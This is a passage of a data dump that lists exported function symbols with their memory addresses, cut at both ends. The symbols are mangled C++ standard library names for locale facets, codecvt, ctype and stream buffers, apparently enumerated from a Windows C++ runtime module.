'?do_get@?$num_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@MEBA?AV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@0AEAVios_base@2@AEAHAEAG@Z', 'address': '0x7ffb3bb38860'}, {'type': 'function', 'name': '?do_get@?$num_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@MEBA?AV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@0AEAVios_base@2@AEAHAEAI@Z', 'address': '0x7ffb3bb389e0'}, {'type': 'function', 'name': '?do_get@?$num_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@MEBA?AV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@0AEAVios_base@2@AEAHAEAJ@Z', 'address': '0x7ffb3bb14440'}, {'type': 'function', 'name': '?do_get@?$num_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@MEBA?AV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@0AEAVios_base@2@AEAHAEAK@Z', 'address': '0x7ffb3bb38a70'}, {'type': 'function', 'name': '?do_get@?$num_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@MEBA?AV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@0AEAVios_base@2@AEAHAEAM@Z', 'address': '0x7ffb3bb38bb0'}, {'type': 'function', 'name': '?do_get@?$num_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@MEBA?AV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@0AEAVios_base@2@AEAHAEAN@Z', 'address': '0x7ffb3bb38cf0'}, {'type': 'function', 'name': '?do_get@?$num_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@MEBA?AV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@0AEAVios_base@2@AEAHAEAO@Z', 'address': '0x7ffb3bb38e30'}, {'type': 'function', 'name': '?do_get@?$num_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@MEBA?AV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@0AEAVios_base@2@AEAHAEAPEAX@Z', 'address': '0x7ffb3bb38ec0'}, {'type': 'function', 'name': '?do_get@?$num_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@MEBA?AV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@0AEAVios_base@2@AEAHAEA_J@Z', 'address': '0x7ffb3bb39000'}, {'type': 'function', 'name': '?do_get@?$num_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@MEBA?AV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@0AEAVios_base@2@AEAHAEA_K@Z', 'address': '0x7ffb3bb39140'}, {'type': 'function', 'name': '?do_get@?$num_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@MEBA?AV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@0AEAVios_base@2@AEAHAEA_N@Z', 'address': '0x7ffb3bb39280'}, {'type': 'function', 'name': '?do_get@?$time_get@DV?$istreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@MEBA?AV?$istreambuf_iterator@DU?$char_traits@D@std@@@2@V32@0AEAVios_base@2@AEAHPEAUtm@@DD@Z', 'address': '0x7ffb3bb404b0'}, {'type': 'function', 'name': '?do_get@?$time_get@GV?$istreambuf_iterator@GU?$char_traits@G@std@@@std@@@std@@MEBA?AV?$istreambuf_iterator@GU?$char_traits@G@std@@@2@V32@0AEAVios_base@2@AEAHPEAUtm@@DD@Z', 'address': '0x7ffb3bb11ca0'}, {'type': 'function', 'name': '?do_get@?$time_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@MEBA?AV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@0AEAVios_base@2@AEAHPEAUtm@@DD@Z', 'address': '0x7ffb3bb39500'}, {'type': 'function', 'name': '?do_get_date@?$time_get@DV?$istreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@MEBA?AV?$istreambuf_iterator@DU?$char_traits@D@std@@@2@V32@0AEAVios_base@2@AEAHPEAUtm@@@Z', 'address': '0x7ffb3bb40a40'}, {'type': 'function', 'name': '?do_get_date@?$time_get@GV?$istreambuf_iterator@GU?$char_traits@G@std@@@std@@@std@@MEBA?AV?$istreambuf_iterator@GU?$char_traits@G@std@@@2@V32@0AEAVios_base@2@AEAHPEAUtm@@@Z', 'address': '0x7ffb3bb39a90'}, {'type': 'function', 'name': '?do_get_date@?$time_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@MEBA?AV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@0AEAVios_base@2@AEAHPEAUtm@@@Z', 'address': '0x7ffb3bb3a490'}, {'type': 'function', 'name': '?do_get_monthname@?$time_get@DV?$istreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@MEBA?AV?$istreambuf_iterator@DU?$char_traits@D@std@@@2@V32@0AEAVios_base@2@AEAHPEAUtm@@@Z', 'address': '0x7ffb3bb41240'}, {'type': 'function', 'name': '?do_get_monthname@?$time_get@GV?$istreambuf_iterator@GU?$char_traits@G@std@@@std@@@std@@MEBA?AV?$istreambuf_iterator@GU?$char_traits@G@std@@@2@V32@0AEAVios_base@2@AEAHPEAUtm@@@Z', 'address': '0x7ffb3bb3ad20'}, {'type': 'function', 'name': '?do_get_monthname@?$time_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@MEBA?AV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@0AEAVios_base@2@AEAHPEAUtm@@@Z', 'address': '0x7ffb3bb3ad80'}, {'type': 'function', 'name': '?do_get_time@?$time_get@DV?$istreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@MEBA?AV?$istreambuf_iterator@DU?$char_traits@D@std@@@2@V32@0AEAVios_base@2@AEAHPEAUtm@@@Z', 'address': '0x7ffb3bb412a0'}, {'type': 'function', 'name': '?do_get_time@?$time_get@GV?$istreambuf_iterator@GU?$char_traits@G@std@@@std@@@std@@MEBA?AV?$istreambuf_iterator@GU?$char_traits@G@std@@@2@V32@0AEAVios_base@2@AEAHPEAUtm@@@Z', 'address': '0x7ffb3bb3ade0'}, {'type': 'function', 'name': '?do_get_time@?$time_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@MEBA?AV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@0AEAVios_base@2@AEAHPEAUtm@@@Z', 'address': '0x7ffb3bb3b030'}, {'type': 'function', 'name': '?do_get_weekday@?$time_get@DV?$istreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@MEBA?AV?$istreambuf_iterator@DU?$char_traits@D@std@@@2@V32@0AEAVios_base@2@AEAHPEAUtm@@@Z', 'address': '0x7ffb3bb41470'}, {'type': 'function', 'name': '?do_get_weekday@?$time_get@GV?$istreambuf_iterator@GU?$char_traits@G@std@@@std@@@std@@MEBA?AV?$istreambuf_iterator@GU?$char_traits@G@std@@@2@V32@0AEAVios_base@2@AEAHPEAUtm@@@Z', 'address': '0x7ffb3bb3b210'}, {'type': 'function', 'name': '?do_get_weekday@?$time_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@MEBA?AV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@0AEAVios_base@2@AEAHPEAUtm@@@Z', 'address': '0x7ffb3bb3b270'}, {'type': 'function', 'name': '?do_get_year@?$time_get@DV?$istreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@MEBA?AV?$istreambuf_iterator@DU?$char_traits@D@std@@@2@V32@0AEAVios_base@2@AEAHPEAUtm@@@Z', 'address': '0x7ffb3bb414d0'}, {'type': 'function', 'name': '?do_get_year@?$time_get@GV?$istreambuf_iterator@GU?$char_traits@G@std@@@std@@@std@@MEBA?AV?$istreambuf_iterator@GU?$char_traits@G@std@@@2@V32@0AEAVios_base@2@AEAHPEAUtm@@@Z', 'address': '0x7ffb3bb11ba0'}, {'type': 'function', 'name': '?do_get_year@?$time_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@MEBA?AV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@0AEAVios_base@2@AEAHPEAUtm@@@Z', 'address': '0x7ffb3bb3b2d0'}, {'type': 'function', 'name': '?do_in@?$codecvt@DDU_Mbstatet@@@std@@MEBAHAEAU_Mbstatet@@PEBD1AEAPEBDPEAD3AEAPEAD@Z', 'address': '0x7ffb3bb2b5d0'}, {'type': 'function', 'name': '?do_in@?$codecvt@GDU_Mbstatet@@@std@@MEBAHAEAU_Mbstatet@@PEBD1AEAPEBDPEAG3AEAPEAG@Z', 'address': '0x7ffb3bb11940'}, {'type': 'function', 'name': '?do_in@?$codecvt@_SDU_Mbstatet@@@std@@MEBAHAEAU_Mbstatet@@PEBD1AEAPEBDPEA_S3AEAPEA_S@Z', 'address': '0x7ffb3bb27220'}, {'type': 'function', 'name': '?do_in@?$codecvt@_UDU_Mbstatet@@@std@@MEBAHAEAU_Mbstatet@@PEBD1AEAPEBDPEA_U3AEAPEA_U@Z', 'address': '0x7ffb3bb274e0'}, {'type': 'function', 'name': '?do_in@?$codecvt@_WDU_Mbstatet@@@std@@MEBAHAEAU_Mbstatet@@PEBD1AEAPEBDPEA_W3AEAPEA_W@Z', 'address': '0x7ffb3bb276a0'}, {'type': 'function', 'name': '?do_is@?$ctype@G@std@@MEBAPEBGPEBG0PEAF@Z', 'address': '0x7ffb3bb27760'}, {'type': 'function', 'name': '?do_is@?$ctype@G@std@@MEBA_NFG@Z', 'address': '0x7ffb3bb0faa0'}, {'type': 'function', 'name': '?do_is@?$ctype@_W@std@@MEBAPEB_WPEB_W0PEAF@Z', 'address': '0x7ffb3bb27760'}, {'type': 'function', 'name': '?do_is@?$ctype@_W@std@@MEBA_NF_W@Z', 'address': '0x7ffb3bb0fc40'}, {'type': 'function', 'name': '?do_length@?$codecvt@DDU_Mbstatet@@@std@@MEBAHAEAU_Mbstatet@@PEBD1_K@Z', 'address': '0x7ffb3bb2b600'}, {'type': 'function', 'name': '?do_length@?$codecvt@GDU_Mbstatet@@@std@@MEBAHAEAU_Mbstatet@@PEBD1_K@Z', 'address': '0x7ffb3bb27790'}, {'type': 'function', 'name': '?do_length@?$codecvt@_SDU_Mbstatet@@@std@@MEBAHAEAU_Mbstatet@@PEBD1_K@Z', 'address': '0x7ffb3bb27830'}, {'type': 'function', 'name': '?do_length@?$codecvt@_UDU_Mbstatet@@@std@@MEBAHAEAU_Mbstatet@@PEBD1_K@Z', 'address': '0x7ffb3bb27910'}, {'type': 'function', 'name': '?do_length@?$codecvt@_WDU_Mbstatet@@@std@@MEBAHAEAU_Mbstatet@@PEBD1_K@Z', 'address': '0x7ffb3bb27790'}, {'type': 'function', 'name': '?do_max_length@?$codecvt@GDU_Mbstatet@@@std@@MEBAHXZ', 'address': '0x7ffb3bb279f0'}, {'type': 'function', 'name': '?do_max_length@?$codecvt@_SDU_Mbstatet@@@std@@MEBAHXZ', 'address': '0x7ffb3bb27a00'}, {'type': 'function', 'name': '?do_max_length@?$codecvt@_UDU_Mbstatet@@@std@@MEBAHXZ', 'address': '0x7ffb3bb27a20'}, {'type': 'function', 'name': '?do_max_length@?$codecvt@_WDU_Mbstatet@@@std@@MEBAHXZ', 'address': '0x7ffb3bb279f0'}, {'type': 'function', 'name': '?do_max_length@codecvt_base@std@@MEBAHXZ', 'address': '0x7ffb3bb16130'}, {'type': 'function', 'name': '?do_narrow@?$ctype@D@std@@MEBADDD@Z', 'address': '0x7ffb3bb10510'}, {'type': 'function', 'name': '?do_narrow@?$ctype@D@std@@MEBAPEBDPEBD0DPEAD@Z', 'address': '0x7ffb3bb27a40'}, {'type': 'function', 'name': '?do_narrow@?$ctype@G@std@@MEBADGD@Z', 'address': '0x7ffb3bb13b90'}, {'type': 'function', 'name': '?do_narrow@?$ctype@G@std@@MEBAPEBGPEBG0DPEAD@Z', 'address': '0x7ffb3bb27a70'}, {'type': 'function', 'name': '?do_narrow@?$ctype@_W@std@@MEBAD_WD@Z', 'address': '0x7ffb3bb27b00'}, {'type': 'function', 'name': '?do_narrow@?$ctype@_W@std@@MEBAPEB_WPEB_W0DPEAD@Z', 'address': '0x7ffb3bb27a70'}, {'type': 'function', 'name': '?do_out@?$codecvt@DDU_Mbstatet@@@std@@MEBAHAEAU_Mbstatet@@PEBD1AEAPEBDPEAD3AEAPEAD@Z', 'address': '0x7ffb3bb2b5d0'}, {'type': 'function', 'name': '?do_out@?$codecvt@GDU_Mbstatet@@@std@@MEBAHAEAU_Mbstatet@@PEBG1AEAPEBGPEAD3AEAPEAD@Z', 'address': '0x7ffb3bb11a00'}, {'type': 'function', 'name': '?do_out@?$codecvt@_SDU_Mbstatet@@@std@@MEBAHAEAU_Mbstatet@@PEB_S1AEAPEB_SPEAD3AEAPEAD@Z', 'address': '0x7ffb3bb27b10'}, {'type': 'function', 'name': '?do_out@?$codecvt@_UDU_Mbstatet@@@std@@MEBAHAEAU_Mbstatet@@PEB_U1AEAPEB_UPEAD3AEAPEAD@Z', 'address': '0x7ffb3bb27d10'}, {'type': 'function', 'name': '?do_out@?$codecvt@_WDU_Mbstatet@@@std@@MEBAHAEAU_Mbstatet@@PEB_W1AEAPEB_WPEAD3AEAPEAD@Z', 'address': '0x7ffb3bb27ed0'}, {'type': 'function', 'name': '?do_put@?$num_put@DV?$ostreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@MEBA?AV?$ostreambuf_iterator@DU?$char_traits@D@std@@@2@V32@AEAVios_base@2@DJ@Z', 'address': '0x7ffb3bb02ef0'}, {'type': 'function', 'name': '?do_put@?$num_put@DV?$ostreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@MEBA?AV?$ostreambuf_iterator@DU?$char_traits@D@std@@@2@V32@AEAVios_base@2@DK@Z', 'address': '0x7ffb3bb03d00'}, {'type': 'function', 'name': '?do_put@?$num_put@DV?$ostreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@MEBA?AV?$ostreambuf_iterator@DU?$char_traits@D@std@@@2@V32@AEAVios_base@2@DN@Z', 'address': '0x7ffb3bb044f0'}, {'type': 'function', 'name': '?do_put@?$num_put@DV?$ostreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@MEBA?AV?$ostreambuf_iterator@DU?$char_traits@D@std@@@2@V32@AEAVios_base@2@DO@Z', 'address': '0x7ffb3bb2b620'}, {'type': 'function', 'name': '?do_put@?$num_put@DV?$ostreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@MEBA?AV?$ostreambuf_iterator@DU?$char_traits@D@std@@@2@V32@AEAVios_base@2@DPEBX@Z', 'address': '0x7ffb3bb2b7d0'}, {'type': 'function', 'name': '?do_put@?$num_put@DV?$ostreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@MEBA?AV?$ostreambuf_iterator@DU?$char_traits@D@std@@@2@V32@AEAVios_base@2@D_J@Z', 'address': '0x7ffb3bb2b880'}, {'type': 'function', 'name': '?do_put@?$num_put@DV?$ostreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@MEBA?AV?$ostreambuf_iterator@DU?$char_traits@D@std@@@2@V32@AEAVios_base@2@D_K@Z', 'address': '0x7ffb3bb10d50'}, {'type': 'function', 'name': '?do_put@?$num_put@DV?$ostreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@MEBA?AV?$ostreambuf_iterator@DU?$char_traits@D@std@@@2@V32@AEAVios_base@2@D_N@Z', 'address': '0x7ffb3bb2b940'}, {'type': 'function', 'name': '?do_put@?$num_put@GV?$ostreambuf_iterator@GU?$char_traits@G@std@@@std@@@std@@MEBA?AV?$ostreambuf_iterator@GU?$char_traits@G@std@@@2@V32@AEAVios_base@2@GJ@Z', 'address': '0x7ffb3bb03410'}, {'type': 'function', 'name': '?do_put@?$num_put@GV?$ostreambuf_iterator@GU?$char_traits@G@std@@@std@@@std@@MEBA?AV?$ostreambuf_iterator@GU?$char_traits@G@std@@@2@V32@AEAVios_base@2@GK@Z', 'address': '0x7ffb3bb05b80'}, {'type': 'function', 'name': '?do_put@?$num_put@GV?$ostreambuf_iterator@GU?$char_traits@G@std@@@std@@@std@@MEBA?AV?$ostreambuf_iterator@GU?$char_traits@G@std@@@2@V32@AEAVios_base@2@GN@Z', 'address': '0x7ffb3bb3bc60'}, {'type': 'function', 'name': '?do_put@?$num_put@GV?$ostreambuf_iterator@GU?$char_traits@G@std@@@std@@@std@@MEBA?AV?$ostreambuf_iterator@GU?$char_traits@G@std@@@2@V32@AEAVios_base@2@GO@Z', 'address': '0x7ffb3bb3be10'}, {'type': 'function', 'name': '?do_put@?$num_put@GV?$ostreambuf_iterator@GU?$char_traits@G@std@@@std@@@std@@MEBA?AV?$ostreambuf_iterator@GU?$char_traits@G@std@@@2@V32@AEAVios_base@2@GPEBX@Z', 'address': '0x7ffb3bb3bfc0'}, {'type': 'function', 'name': '?do_put@?$num_put@GV?$ostreambuf_iterator@GU?$char_traits@G@std@@@std@@@std@@MEBA?AV?$ostreambuf_iterator@GU?$char_traits@G@std@@@2@V32@AEAVios_base@2@G_J@Z', 'address': '0x7ffb3bb14f00'}, {'type': 'function', 'name': '?do_put@?$num_put@GV?$ostreambuf_iterator@GU?$char_traits@G@std@@@std@@@std@@MEBA?AV?$ostreambuf_iterator@GU?$char_traits@G@std@@@2@V32@AEAVios_base@2@G_K@Z', 'address': '0x7ffb3bb06060'}, {'type': 'function', 'name': '?do_put@?$num_put@GV?$ostreambuf_iterator@GU?$char_traits@G@std@@@std@@@std@@MEBA?AV?$ostreambuf_iterator@GU?$char_traits@G@std@@@2@V32@AEAVios_base@2@G_N@Z', 'address': '0x7ffb3bb3c070'}, {'type': 'function', 'name': '?do_put@?$num_put@_WV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@MEBA?AV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@AEAVios_base@2@_WJ@Z', 'address': '0x7ffb3bb3c270'}, {'type': 'function', 'name': '?do_put@?$num_put@_WV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@MEBA?AV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@AEAVios_base@2@_WK@Z', 'address': '0x7ffb3bb11400'}, {'type': 'function', 'name': '?do_put@?$num_put@_WV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@MEBA?AV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@AEAVios_base@2@_WN@Z', 'address': '0x7ffb3bb3c330'}, {'type': 'function', 'name': '?do_put@?$num_put@_WV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@MEBA?AV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@AEAVios_base@2@_WO@Z', 'address': '0x7ffb3bb3c4e0'}, {'type': 'function', 'name': '?do_put@?$num_put@_WV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@MEBA?AV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@AEAVios_base@2@_WPEBX@Z', 'address': '0x7ffb3bb3c690'}, {'type': 'function', 'name': '?do_put@?$num_put@_WV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@MEBA?AV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@AEAVios_base@2@_W_J@Z', 'address': '0x7ffb3bb3c740'}, {'type': 'function', 'name': '?do_put@?$num_put@_WV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@MEBA?AV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@AEAVios_base@2@_W_K@Z', 'address': '0x7ffb3bb3c800'}, {'type': 'function', 'name': '?do_put@?$num_put@_WV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@MEBA?AV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@AEAVios_base@2@_W_N@Z', 'address': '0x7ffb3bb3c8c0'}, {'type': 'function', 'name': '?do_put@?$time_put@DV?$ostreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@MEBA?AV?$ostreambuf_iterator@DU?$char_traits@D@std@@@2@V32@AEAVios_base@2@DPEBUtm@@DD@Z', 'address': '0x7ffb3bb419f0'}, {'type': 'function', 'name': '?do_put@?$time_put@GV?$ostreambuf_iterator@GU?$char_traits@G@std@@@std@@@std@@MEBA?AV?$ostreambuf_iterator@GU?$char_traits@G@std@@@2@V32@AEAVios_base@2@GPEBUtm@@DD@Z', 'address': '0x7ffb3bb13bf0'}, {'type': 'function', 'name': '?do_put@?$time_put@_WV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@MEBA?AV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@AEAVios_base@2@_WPEBUtm@@DD@Z', 'address': '0x7ffb3bb3cac0'}, {'type': 'function', 'name': '?do_scan_is@?$ctype@G@std@@MEBAPEBGFPEBG0@Z', 'address': '0x7ffb3bb28010'}, {'type': 'function', 'name': '?do_scan_is@?$ctype@_W@std@@MEBAPEB_WFPEB_W0@Z', 'address': '0x7ffb3bb28010'}, {'type': 'function', 'name': '?do_scan_not@?$ctype@G@std@@MEBAPEBGFPEBG0@Z', 'address': '0x7ffb3bb28080'}, {'type': 'function', 'name': '?do_scan_not@?$ctype@_W@std@@MEBAPEB_WFPEB_W0@Z', 'address': '0x7ffb3bb28080'}, {'type': 'function', 'name': '?do_tolower@?$ctype@D@std@@MEBADD@Z', 'address': '0x7ffb3bb12ce0'}, {'type': 'function', 'name': '?do_tolower@?$ctype@D@std@@MEBAPEBDPEADPEBD@Z', 'address': '0x7ffb3bb280f0'}, {'type': 'function', 'name': '?do_tolower@?$ctype@G@std@@MEBAGG@Z', 'address': '0x7ffb3bb10360'}, {'type': 'function', 'name': '?do_tolower@?$ctype@G@std@@MEBAPEBGPEAGPEBG@Z', 'address': '0x7ffb3bb28160'}, {'type': 'function', 'name': '?do_tolower@?$ctype@_W@std@@MEBAPEB_WPEA_WPEB_W@Z', 'address': '0x7ffb3bb28160'}, {'type': 'function', 'name': '?do_tolower@?$ctype@_W@std@@MEBA_W_W@Z', 'address': '0x7ffb3bb10360'}, {'type': 'function', 'name': '?do_toupper@?$ctype@D@std@@MEBADD@Z', 'address': '0x7ffb3bb281d0'}, {'type': 'function', 'name': '?do_toupper@?$ctype@D@std@@MEBAPEBDPEADPEBD@Z', 'address': '0x7ffb3bb281f0'}, {'type': 'function', 'name': '?do_toupper@?$ctype@G@std@@MEBAGG@Z', 'address': '0x7ffb3bb28260'}, {'type': 'function', 'name': '?do_toupper@?$ctype@G@std@@MEBAPEBGPEAGPEBG@Z', 'address': '0x7ffb3bb28280'}, {'type': 'function', 'name': '?do_toupper@?$ctype@_W@std@@MEBAPEB_WPEA_WPEB_W@Z', 'address': '0x7ffb3bb28280'}, {'type': 'function', 'name': '?do_toupper@?$ctype@_W@std@@MEBA_W_W@Z', 'address': '0x7ffb3bb28260'}, {'type': 'function', 'name': '?do_unshift@?$codecvt@DDU_Mbstatet@@@std@@MEBAHAEAU_Mbstatet@@PEAD1AEAPEAD@Z', 'address': '0x7ffb3bb28310'}, {'type': 'function', 'name': '?do_unshift@?$codecvt@GDU_Mbstatet@@@std@@MEBAHAEAU_Mbstatet@@PEAD1AEAPEAD@Z', 'address': '0x7ffb3bb12630'}, {'type': 'function', 'name': '?do_unshift@?$codecvt@_SDU_Mbstatet@@@std@@MEBAHAEAU_Mbstatet@@PEAD1AEAPEAD@Z', 'address': '0x7ffb3bb282f0'}, {'type': 'function', 'name': '?do_unshift@?$codecvt@_UDU_Mbstatet@@@std@@MEBAHAEAU_Mbstatet@@PEAD1AEAPEAD@Z', 'address': '0x7ffb3bb28310'}, {'type': 'function', 'name': '?do_unshift@?$codecvt@_WDU_Mbstatet@@@std@@MEBAHAEAU_Mbstatet@@PEAD1AEAPEAD@Z', 'address': '0x7ffb3bb28330'}, {'type': 'function', 'name': '?do_widen@?$ctype@D@std@@MEBADD@Z', 'address': '0x7ffb3bb10510'}, {'type': 'function', 'name': '?do_widen@?$ctype@D@std@@MEBAPEBDPEBD0PEAD@Z', 'address': '0x7ffb3bb10700'}, {'type': 'function', 'name': '?do_widen@?$ctype@G@std@@MEBAGD@Z', 'address': '0x7ffb3bb0ed20'}, {'type': 'function', 'name': '?do_widen@?$ctype@G@std@@MEBAPEBDPEBD0PEAG@Z', 'address': '0x7ffb3bb0ed70'}, {'type': 'function', 'name': '?do_widen@?$ctype@_W@std@@MEBAPEBDPEBD0PEA_W@Z', 'address': '0x7ffb3bb14160'}, {'type': 'function', 'name': '?do_widen@?$ctype@_W@std@@MEBA_WD@Z', 'address': '0x7ffb3bb0ed20'}, {'type': 'function', 'name': '?eback@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IEBAPEADXZ', 'address': '0x7ffb3bb10400'}, {'type': 'function', 'name': '?eback@?$basic_streambuf@GU?$char_traits@G@std@@@std@@IEBAPEAGXZ', 'address': '0x7ffb3bb10400'}, {'type': 'function', 'name': '?eback@?$basic_streambuf@_WU?$char_traits@_W@std@@@std@@IEBAPEA_WXZ', 'address': '0x7ffb3bb10400'}, {'type': 'function', 'name': '?egptr@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IEBAPEADXZ', 'address': '0x7ffb3bb10670'}, {'type': 'function', 'name': '?egptr@?$basic_streambuf@GU?$char_traits@G@std@@@std@@IEBAPEAGXZ', 'address': '0x7ffb3bb10480'}, {'type': 'function', 'name': '?egptr@?$basic_streambuf@_WU?$char_traits@_W@std@@@std@@IEBAPEA_WXZ', 'address': '0x7ffb3bb10480'}, {'type': 'function', 'name': '?empty@?$_Yarn@D@std@@QEBA_NXZ', 'address': '0x7ffb3bb26890'}, {'type': 'function', 'name': '?empty@?$_Yarn@G@std@@QEBA_NXZ', 'address': '0x7ffb3bb26890'}, {'type': 'function', 'name': '?empty@?$_Yarn@_W@std@@QEBA_NXZ', 'address': '0x7ffb3bb26890'}, {'type': 'function', 'name': '?empty@locale@std@@SA?AV12@XZ', 'address': '0x7ffb3bb2bea0'}, {'type': 'function', 'name': '?encoding@codecvt_base@std@@QEBAHXZ', 'address': '0x7ffb3bb283e0'}, {'type': 'function', 'name': '?eof@ios_base@std@@QEBA_NXZ', 'address': '0x7ffb3bb10bf0'}, {'type': 'function', 'name': '?epptr@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IEBAPEADXZ', 'address': '0x7ffb3bb10620'}, {'type': 'function', 'name': '?epptr@?$basic_streambuf@GU?$char_traits@G@std@@@std@@IEBAPEAGXZ', 'address': '0x7ffb3bb101d0'}, {'type': 'function', 'name': '?epptr@?$basic_streambuf@_WU?$char_traits@_W@std@@@std@@IEBAPEA_WXZ', 'address': '0x7ffb3bb101d0'}, {'type': 'function', 'name': '?exceptions@ios_base@std@@QEAAXH@Z', 'address': '0x7ffb3bb10a70'}, {'type': 'function', 'name': '?exceptions@ios_base@std@@QEAAXI@Z', 'address': '0x7ffb3bb28470'}, {'type': 'function', 'name': '?exceptions@ios_base@std@@QEBAHXZ', 'address': '0x7ffb3bb279f0'}, {'type': 'function', 'name': '?fail@ios_base@std@@QEBA_NXZ', 'address': '0x7ffb3bb036c0'}, {'type': 'function', 'name': '?fill@?$basic_ios@DU?$char_traits@D@std@@@std@@QEAADD@Z', 'address': '0x7ffb3bb4f5f0'}, {'type': 'function', 'name': '?fill@?$basic_ios@DU?$char_traits@D@std@@@std@@QEBADXZ', 'address': '0x7ffb3bb4f600'}, {'type': 'function', 'name': '?fill@?$basic_ios@GU?$char_traits@G@std@@@std@@QEAAGG@Z', 'address': '0x7ffb3bb4f610'}, {'type': 'function', 'name': '?fill@?$basic_ios@GU?$char_traits@G@std@@@std@@QEBAGXZ', 'address': '0x7ffb3bb4f620'}, {'type': 'function', 'name': '?fill@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QEAA_W_W@Z', 'address': '0x7ffb3bb4f610'}, {'type': 'function', 'name': '?fill@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QEBA_WXZ', 'address': '0x7ffb3bb4f620'}, {'type': 'function', 'name': '?flags@ios_base@std@@QEAAHH@Z', 'address': '0x7ffb3bb28480'}, {'type': 'function', 'name': '?flags@ios_base@std@@QEBAHXZ', 'address': '0x7ffb3bb10260'}, {'type': 'function', 'name': '?flush@?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV12@XZ', 'address': '0x7ffb3bb02d80'}, {'type': 'function', 'name': '?flush@?$basic_ostream@GU?$char_traits@G@std@@@std@@QEAAAEAV12@XZ', 'address': '0x7ffb3bb02d80'}, {'type': 'function', 'name': '?flush@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QEAAAEAV12@XZ', 'address': '0x7ffb3bb2c7e0'}, {'type': 'function', 'name': '?gbump@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IEAAXH@Z', 'address': '0x7ffb3bb44890'}, {'type': 'function', 'name': '?gbump@?$basic_streambuf@GU?$char_traits@G@std@@@std@@IEAAXH@Z', 'address': '0x7ffb3bb43b60'}, {'type': 'function', 'name': '?gbump@?$basic_streambuf@_WU?$char_traits@_W@std@@@std@@IEAAXH@Z', 'address': '0x7ffb3bb43b60'}, {'type': 'function', 'name': '?gcount@?$basic_istream@DU?$char_traits@D@std@@@std@@QEBA_JXZ', 'address': 